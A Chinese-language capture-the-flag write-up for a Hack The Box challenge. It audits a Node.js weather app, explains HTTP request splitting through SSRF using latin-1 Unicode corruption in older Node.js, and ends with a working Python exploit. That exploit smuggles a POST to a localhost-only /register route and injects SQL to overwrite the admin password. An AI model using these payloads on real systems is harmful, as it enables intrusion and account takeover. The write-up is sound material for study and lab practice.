0x01 起因 今天在hack the box上看到一道题,在审计代码之后发现注册路由有个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 router.post ('/register' , (req, res ) => { if (req.socket .remoteAddress .replace (/^.*:/ , '' ) != '127.0.0.1' ) { return res.status (401 ).end (); } let { username, password } = req.body ; if (username && password) { return db.register (username, password) .then (() => res.send (response ('Successfully registered' ))) .catch (() => res.send (response ('Something went wrong' ))); } return res.send (response ('Missing parameters' )); });
这里应该是用到ssrf去绕过req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1'
最先尝试了X-Forwarded-For发现并不能绕过去,然后又看到了api/weather的逻辑是可以用服务器发送get请求的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 const HttpHelper = require ('../helpers/HttpHelper' );module .exports = { async getWeather (res, endpoint, city, country ) { let apiKey = '10a62430af617a949055a46fa6dec32f' ; let weatherData = await HttpHelper .HttpGet (`http://${endpoint} /data/2.5/weather?q=${city} ,${country} &units=metric&appid=${apiKey} ` ); if (weatherData.name ) { let weatherDescription = weatherData.weather [0 ].description ; let weatherIcon = weatherData.weather [0 ].icon .slice (0 , -1 ); let weatherTemp = weatherData.main .temp ; switch (parseInt (weatherIcon)) { case 2 : case 3 : case 4 : weatherIcon = 'icon-clouds' ; break ; case 9 : case 10 : weatherIcon = 'icon-rain' ; break ; case 11 : weatherIcon = 'icon-storm' ; break ; case 13 : weatherIcon = 'icon-snow' ; break ; default : weatherIcon = 'icon-sun' ; break ; } return res.send ({ desc : weatherDescription, icon : weatherIcon, temp : weatherTemp, }); } return res.send ({ error : `Could not find ${city} or ${country} ` }); } }
但是需要的是去发送post请求,那么怎么样才能让get变post?
0x02 Request Splitting POC 最终找到答案那就是Request Splitting(请求拆分)
这是需要构建的最终请求
1 2 3 4 5 6 POST /register HTTP/1.1 Host : 127.0.0.1Content-Type : application/x-www-form-urlencodedContent-Length : 29username=admin &password =admin
如何让一个GET请求拥有这样的效果?
这是一个正常的get请求
1 2 3 4 5 6 GET /?city=test HTTP/1.1 Host : 206.189.28.151:31670Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Connection : close
如果这里请求test的时候我是请求的
1 test HTTP/1.1 \r\n POST /register HTTP/1.1 \r\n Host: 127.0.0.1 \r\n Content-Type: application/x-www-form-urlencoded \r\n Content-Length: 29 \r\n \r\n username=admin&password=admin \r\n GET / HTTP/1.1
那么 这个时候请求就变成了
1 2 3 4 5 6 7 8 9 10 11 12 GET /?city=test HTTP /1.1 POST /register HTTP /1.1 Host : 127.0 .0 .1 Content -Type : application/x-www-form-urlencodedusername=admin&password=admin GET / HTTP /1.1 Content -Length : 29 Host : 206.189 .28 .151 :31670 Accept -Encoding : gzip, deflateAccept -Language : zh-CN ,zh;q=0.9 Connection : close
相当于是发了3个请求,但是现在又有一个问题在http库中其实是会把\n\r这些字符给编译了的所以需要绕过
https://www.anquanke.com/post/id/241429
详情在这篇文章
总的来说就是node.js在低版本会自动将字符串转化为latin-1,latin-1会造成Unicode 字符损坏
1 2 3 4 5 6 7 8 9 10 11 12 async register(user, pass) { // TODO: add parameterization and roll public return new Promise(async (resolve, reject) => { try { let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`; resolve((await this.db.run(query))); } catch(e) { reject(e); } }); }
这里因为admin这个用户存在所以不能直接使用,而在register这个地方这个开发者只是简单的用了拼接,所以直接就可以sql注入
0x03 EXP 这里借用了https://ama666.cn/2021/09/01/SSRF%20Request-Splittingattack/的脚本来进行了攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsurl = 'http://138.68.155.238:30819' username = "admin" password = "1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--" parsedUsername = username.replace(" " , "\u0120" ).replace("'" , "%27" ).replace('"' ,"%22" ) parsedPassword = password.replace(" " , "\u0120" ).replace("'" , "%27" ).replace('"' ,"%22" ) contentLength = len (parsedUsername) + len (parsedPassword) + 19 endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str (contentLength) +'\u010D\u010A\u010D\u010Ausername=' + parsedUsername + '&password=' + parsedPassword+ '\u010D\u010A\u010D\u010AGET\u0120/?lol=' r = requests.post(url + '/api/weather' , json={ 'endpoint' : endpoint, 'city' : 'Dallas' ,'country' : 'USA' }) print (r.text)